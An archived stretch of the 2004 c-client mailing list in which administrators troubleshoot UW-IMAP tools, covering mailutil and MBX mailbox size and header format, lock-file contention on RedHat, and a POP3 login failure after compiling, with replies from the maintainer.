(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 30 Sep 2004 12:29:12 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJTBcj026323 for ; Thu, 30 Sep 2004 12:29:12 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id i8UJT9V135558 for ; Thu, 30 Sep 2004 14:29:11 -0500 (CDT) Message-Id: Date: Thu, 30 Sep 2004 14:29:09 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Mooney To: c-client@CAC.Washington.EDU Subject: mailutil appenddelete silently loses mail? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN All- I have a vague recollection of reading that a bug in mailutil was recently fixed where mailutil would miss the last message in a folder when doing a `move' or `appenddelete', but I can't find any reference to that in 2004a and the 2004b dev doesn't include any kind of ChangeLog, so I don't know if I'm just dreaming... In any case, I've run into a strange situation with mailutil that seems similar to the problem I might have imagined: $ ls -al INBOX -rw------- 1 mooney sysadmin 55801103 Sep 30 12:02 INBOX $ file INBOX INBOX: MBX mail folder $ mailutil check INBOX Unable to find CRLF at 53775404 in 64 bytes, text: From owner-ndsu-faculty@LISTSERV.NODAK.EDU Fri Aug 13 12:54:08 It's corrupt, we have utilities to deal with that (all of which use mailutil to some extent). I split the folder at the corruption point, into: $ ls -al INBOX.???? -rw------- 1 mooney sysadmin 53775404 Sep 30 12:08 INBOX.head -rw------- 1 mooney sysadmin 2025699 Sep 30 12:08 INBOX.tail I check INBOX.head, which should now be a valid MBX-format mailbox: $ mailutil check INBOX.head No new messages, 262 total in INBOX.head I create a new, empty mailbox in MBX format: $ file INBOX INBOX: MBX mail folder $ mailutil check INBOX No new messages, 0 total in INBOX Now I appenddelete the messages from INBOX.head into INBOX: $ mailutil appenddelete INBOX.head INBOX $ echo $? 0 $ mailutil check INBOX 262 new message(s) (0 unseen), 262 total in INBOX $ ls -al INBOX -rw------- 1 mooney sysadmin 31356329 Sep 30 12:08 INBOX Ok, where did the other roughly 20 Megabytes go? If I compare a "before and after", by viewing the 53 MB INBOX.head and the 30 MB INBOX in two different pine windows, the message index shows the exact same messages, in the same order, and with the same size displayed. If I pull off the 2K header from each mailbox so that I can use ``diff -u'' on them (it doesn't like the null padding), I see that the `appenddelete' has changed each of the MBX index lines, so that the last eight characters are all zeros: -27-Nov-2002 00:30:04 -0600,1245;000000000009-00000003 +27-Nov-2002 00:30:04 -0600,1245;000000000009-00000000 It also appears to have rearranged the order that some of the messages are written into the file, so that it's very difficult to find what's truly missing. Any suggestions to try figure out what the missing 20 MB is, and what may have happened? Two asides: - I've noticed that the MBX "index" line, 03-Aug-2004 16:06:06 -0500,4355;000000008003-00000ee6 sometimes has a date that is zero-padded, and sometimes its space-padded: 4-Aug-2004 00:02:58 -0500,696;000000008003-00000eed Why is that? - It would be useful to have a `version' command available from within mailutil, so you can see some kind of version info, so you can tell what imapd kit mailutil came out of. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 30 12:42:09 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 12:42:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJg986030148 for ; Thu, 30 Sep 2004 12:42:09 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJg8CP021103 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 12:42:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UJfDK3017270; Thu, 30 Sep 2004 12:41:13 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJeDDj022452 for ; Thu, 30 Sep 2004 12:40:13 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UJeDvS024664 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 30 Sep 2004 12:40:13 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJeCIm020949 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Sep 2004 12:40:12 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJeBes017252; Thu, 30 Sep 2004 12:40:11 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UJeBES027533; Thu, 30 Sep 2004 12:40:11 -0700 Message-Id: Date: Thu, 30 Sep 2004 12:40:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Mooney Cc: c-client@CAC.Washington.EDU Subject: Re: mailutil appenddelete silently loses mail? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If by "the other 20 megabytes" you are referring to the difference between 53775404 and 31356329, that difference is probably in expunged messages which never got garbage collected because the expunge was always from a shared-access session. The way to test that is to expunge INBOX.head without multiple access. I bet that you'll find that it shrinks by that about that amount. The last 8 bytes in the internal header are the message UID. Newly delivered messages get a UID of 0, which causes a UID to be assigned the next time the mailbox is opened (as opposed to append). Otherwise, append would have to go to a lot more work. " 3-Aug-2004" and "03-Aug-2004" are exactly equivalent. One happens when the date is provided, the other happens when the date is defaulted. It's not worth fixing. On Thu, 30 Sep 2004, Tim Mooney wrote: > > All- > > I have a vague recollection of reading that a bug in mailutil was recently > fixed where mailutil would miss the last message in a folder when doing > a `move' or `appenddelete', but I can't find any reference to that in > 2004a and the 2004b dev doesn't include any kind of ChangeLog, so I don't > know if I'm just dreaming... > > In any case, I've run into a strange situation with mailutil that seems > similar to the problem I might have imagined: > > $ ls -al INBOX > -rw------- 1 mooney sysadmin 55801103 Sep 30 12:02 INBOX > $ file INBOX > INBOX: MBX mail folder > $ mailutil check INBOX > Unable to find CRLF at 53775404 in 64 bytes, text: From > owner-ndsu-faculty@LISTSERV.NODAK.EDU Fri Aug 13 12:54:08 > > > It's corrupt, we have utilities to deal with that (all of which > use mailutil to some extent). > > I split the folder at the corruption point, into: > > $ ls -al INBOX.???? > -rw------- 1 mooney sysadmin 53775404 Sep 30 12:08 INBOX.head > -rw------- 1 mooney sysadmin 2025699 Sep 30 12:08 INBOX.tail > > I check INBOX.head, which should now be a valid MBX-format mailbox: > > $ mailutil check INBOX.head > No new messages, 262 total in INBOX.head > > > I create a new, empty mailbox in MBX format: > > $ file INBOX > INBOX: MBX mail folder > $ mailutil check INBOX > No new messages, 0 total in INBOX > > Now I appenddelete the messages from INBOX.head into INBOX: > > $ mailutil appenddelete INBOX.head INBOX > $ echo $? > 0 > $ mailutil check INBOX > 262 new message(s) (0 unseen), 262 total in INBOX > $ ls -al INBOX > -rw------- 1 mooney sysadmin 31356329 Sep 30 12:08 INBOX > > > > Ok, where did the other roughly 20 Megabytes go? > > If I compare a "before and after", by viewing the 53 MB INBOX.head and > the 30 MB INBOX in two different pine windows, the message index shows > the exact same messages, in the same order, and with the same size > displayed. > > If I pull off the 2K header from each mailbox so that I can use ``diff -u'' > on them (it doesn't like the null padding), I see that the `appenddelete' > has changed each of the MBX index lines, so that the last eight characters > are all zeros: > > -27-Nov-2002 00:30:04 -0600,1245;000000000009-00000003 > +27-Nov-2002 00:30:04 -0600,1245;000000000009-00000000 > > > It also appears to have rearranged the order that some of the messages > are written into the file, so that it's very difficult to find what's > truly missing. > > Any suggestions to try figure out what the missing 20 MB is, and what > may have happened? > > Two asides: > > - I've noticed that the MBX "index" line, > > 03-Aug-2004 16:06:06 -0500,4355;000000008003-00000ee6 > > sometimes has a date that is zero-padded, and sometimes its > space-padded: > > 4-Aug-2004 00:02:58 -0500,696;000000008003-00000eed > > Why is that? > > > - It would be useful to have a `version' command available from within > mailutil, so you can see some kind of version info, so you can tell > what imapd kit mailutil came out of. > > Tim > -- > Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu > Information Technology Services (701) 231-1076 (Voice) > Room 242-J6, IACC Building (701) 231-8541 (Fax) > North Dakota State University, Fargo, ND 58105-5164 > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 30 13:30:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 13:30:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UKUAaU032474 for ; Thu, 30 Sep 2004 13:30:10 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UKU9ae029292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 13:30:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UKTLSg012960; Thu, 30 Sep 2004 13:29:22 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UKSAA0113462 for ; Thu, 30 Sep 2004 13:28:10 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UKS9pe006448 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 30 Sep 2004 13:28:09 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UKS8PG024558 for ; Thu, 30 Sep 2004 13:28:09 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id i8UKS8b490955 for ; Thu, 30 Sep 2004 15:28:08 -0500 (CDT) Message-Id: Date: Thu, 30 Sep 2004 15:28:08 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Mooney To: c-client@CAC.Washington.EDU Subject: Re: mailutil appenddelete silently loses mail? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In regard to: Re: mailutil appenddelete silently loses mail?, Mark Crispin...: > If by "the other 20 megabytes" you are referring to the difference between > 53775404 and 31356329, Yes. > that difference is probably in expunged messages which > never got garbage collected because the expunge was always from a > shared-access session. > > The way to test that is to expunge INBOX.head without multiple access. I bet > that you'll find that it shrinks by that about that amount. You're exactly correct. I wasn't expecting that there would be a case where messages wouldn't show up in the index (even marked for deletion) but would be hanging around in the folder. Pressing x within pine even indicated "no messages expunged", but the size shrunk to match the other folder exactly. I understand now though -- the messages were already expunged, they just weren't excised from the folder yet. > The last 8 bytes in the internal header are the message UID. Newly delivered > messages get a UID of 0, which causes a UID to be assigned the next time the > mailbox is opened (as opposed to append). Otherwise, append would have to go > to a lot more work. Ok. What's the best source for information on the MBX internal header? I think it's time I learn the signficance of the various bytes in the internal header after the ;. > " 3-Aug-2004" and "03-Aug-2004" are exactly equivalent. One happens when the > date is provided, the other happens when the date is defaulted. It's not > worth fixing. Thanks for the info. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 From pinedev@shivax2.cac.washington.edu Thu Sep 30 16:29:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Sep 2004 16:29:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UNTKit008771 for ; Thu, 30 Sep 2004 16:29:20 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UNTJ4I005035 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 30 Sep 2004 16:29:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8UNSR19012658; Thu, 30 Sep 2004 16:28:27 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UNQZxv036184 for ; Thu, 30 Sep 2004 16:26:35 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8UNQZgs008125 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 30 Sep 2004 16:26:35 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UNQWlf004550 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Sep 2004 16:26:32 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UNQWZv016296; Thu, 30 Sep 2004 16:26:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8UNQVNt031015 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 30 Sep 2004 16:26:32 -0700 Message-Id: Date: Thu, 30 Sep 2004 16:24:29 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Mooney Cc: c-client@CAC.Washington.EDU Subject: Re: mailutil appenddelete silently loses mail? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Sep 2004, Tim Mooney wrote: > What's the best source for information on the MBX internal header? Some information is in the IMAP FAQs: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.15 > I > think it's time I learn the signficance of the various bytes in the > internal header after the ;. The 12 bytes between the ; and the - are the flags mask; 8 hex digits of keyword flags and 4 hex digits of system flags. The bit definitions are in the source code. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 4 13:42:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Oct 2004 13:42:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i94KgI6D011227 for ; Mon, 4 Oct 2004 13:42:18 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i94KgFrZ018576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 4 Oct 2004 13:42:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i94Kg8Tx016834; Mon, 4 Oct 2004 13:42:08 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i94KeNUt060240 for ; Mon, 4 Oct 2004 13:40:23 -0700 Received: from ariel.utcc.utoronto.ca (ariel.utcc.utoronto.ca [128.100.103.95]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i94KeM1M032409 for ; Mon, 4 Oct 2004 13:40:22 -0700 Received: from ip@localhost (fake: stdin (EHLO localhost) (ident: uid#103@localhost)) by ariel.utcc.utoronto.ca with ESMTP id <94-10385>; Mon, 4 Oct 2004 16:40:19 -0400 Message-Id: Date: Mon, 4 Oct 2004 16:40:18 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Ip To: c-client@u.washington.edu Subject: locking problem in imap-2002b MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: Peter Ip X-X-Sender: ip@ariel.utcc.utoronto.ca X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm running imap-2002b on RedHat AS3. A user using Netscape Messenger couldn't compact his INBOX - imap said the INBOX was read-only. When I looked on the server, another user held the lock file in /tmp: # ls -li INBOX 7094292 -rw------- 1 64763 mailusr 178262 Oct 4 16:31 INBOX # ls -l /tmp/.*.6c4014 -rw-rw-rw- 1 23048 mailusr 5 Oct 4 06:52 /tmp/.891.6c4014 User 23048 had an imapd process: # ps -uawx | grep 23048 #23048 27815 0.0 0.0 4656 1896 ? S 06:52 0:00 imapd root 30656 0.0 0.0 1616 496 pts/1 S 15:18 0:00 grep 27815 The INBOX for user 23048 had inode number 7094295. Is there a race condition that is being tickled? I looked in the RELNOTES for imap-2004a but couldn't see anything relevant. Peter _____________________________________________________ Peter Ip, PhD Computing and Network Services, University of Toronto email: peter.ip@utoronto.ca -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 4 15:43:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Oct 2004 15:43:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i94MhMWn017187 for ; Mon, 4 Oct 2004 15:43:22 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i94MhLt0024199 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 4 Oct 2004 15:43:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i94MgQKN014682; Mon, 4 Oct 2004 15:42:26 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i94MfI5H063980 for ; Mon, 4 Oct 2004 15:41:18 -0700 Received: from user123.c2.studioproteus.si (user123.c2.studioproteus.si [213.253.97.123]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i94MfHFg002590 for ; Mon, 4 Oct 2004 15:41:17 -0700 Received: from athlon (BSN-77-143-57.dsl.siol.net [193.77.143.57]) by user123.c2.studioproteus.si (8.12.10/8.12.10) with ESMTP id i94MfTcl027780 for ; Tue, 5 Oct 2004 00:41:30 +0200 Message-Id: <4161D19D.1070503@harije.si> Date: Tue, 05 Oct 2004 00:41:33 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Zvonko To: c-client@u.washington.edu Subject: ipop3/imap4 login problem MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------020509080603010406010004" X-Accept-Language: en-us, en X-Antivirus: avast! (VPS 0439-1, 22.09.2004), Outbound message X-Antivirus-Status: Not-Tested X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------020509080603010406010004 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit hello I recently compiled uw-imap and I use imap and pop2/3 server. However, now I cannot login to server with my user name and password. Here's the printout from login attempt to pop server: wlan# telnet localhost pop3 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost.wlan.harije.si. Escape character is '^]'. +OK POP3 localhost.wlan.harije.si 2004.88 server ready user Zvonko +OK User name accepted, password please pass abcdef Connection closed by foreign host. wlan# Does anyone know where the error is? I compiled imap with the following options: wlan# make PASSWDTYPE=pam -D WITH_SSL_AND_PLAINTEXT All suggestions are welcome Thanks in advance. Regards Zvonko --------------020509080603010406010004 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit hello

    I recently compiled uw-imap and I use imap and pop2/3 server. However, now I cannot login to server with my user name and password.

    Here's the printout from login attempt to pop server:
      wlan# telnet localhost pop3
      Trying ::1...
      telnet: connect to address ::1: Connection refused
      Trying 127.0.0.1...
      Connected to localhost.wlan.harije.si.
      Escape character is '^]'.
      +OK POP3 localhost.wlan.harije.si 2004.88 server ready
      user Zvonko
      +OK User name accepted, password please
      pass abcdef
      Connection closed by foreign host.
      wlan#


    Does anyone know where the error is?
    I compiled imap with the following options:
      wlan# make PASSWDTYPE=pam -D WITH_SSL_AND_PLAINTEXT

    All suggestions are welcome

    Thanks in advance.

    Regards
    Zvonko
     --------------020509080603010406010004-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 5 00:37:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Oct 2004 00:37:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i957bV73032494 for ; Tue, 5 Oct 2004 00:37:31 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i957bUbI025074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 5 Oct 2004 00:37:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i957aWL4008180; Tue, 5 Oct 2004 00:36:33 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i957Z2Nr063982 for ; Tue, 5 Oct 2004 00:35:02 -0700 Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i957Z1CR004733 for ; Tue, 5 Oct 2004 00:35:01 -0700 Received: from [195.159.6.24] (ws24.ns5.powertech.no [195.159.6.24]) by smtp1.powertech.no (Postfix) with ESMTP id 057EC80B8; Tue, 5 Oct 2004 09:35:00 +0200 (CEST) Message-Id: <102D60B0-16A1-11D9-99CC-000A95A9A574@nordahl.net> Date: Tue, 5 Oct 2004 09:35:00 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frode Nordahl To: Peter Ip Cc: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Oct 4, 2004, at 22:40, Peter Ip wrote: > Hi, > > I'm running imap-2002b on RedHat AS3. Are you running with RedHat's RPM's or have you compiled your own version? RedHat patches imap-uw, replacing imap-uw's locking functions (using fcntl). In my experience, this causes things to lock agains eachother everywhere, and bypasses IMAP's kiss of death method, since the fcntl syscall is just restarted when it recieves the signal. Mvh, Frode Nordahl > A user using Netscape Messenger couldn't compact his INBOX - imap said > the INBOX was read-only. When I looked on the server, another user > held the lock file in /tmp: > > # ls -li INBOX > 7094292 -rw------- 1 64763 mailusr 178262 Oct 4 16:31 INBOX > > # ls -l /tmp/.*.6c4014 > -rw-rw-rw- 1 23048 mailusr 5 Oct 4 06:52 > /tmp/.891.6c4014 > > User 23048 had an imapd process: > > # ps -uawx | grep 23048 > #23048 27815 0.0 0.0 4656 1896 ? S 06:52 0:00 imapd > root 30656 0.0 0.0 1616 496 pts/1 S 15:18 0:00 grep > 27815 > > The INBOX for user 23048 had inode number 7094295. Is there a race > condition that is being tickled? I looked in the RELNOTES for > imap-2004a > but couldn't see anything relevant. > > Peter > > _____________________________________________________ > Peter Ip, PhD > Computing and Network Services, University of Toronto > email: peter.ip@utoronto.ca > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 5 06:37:05 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user 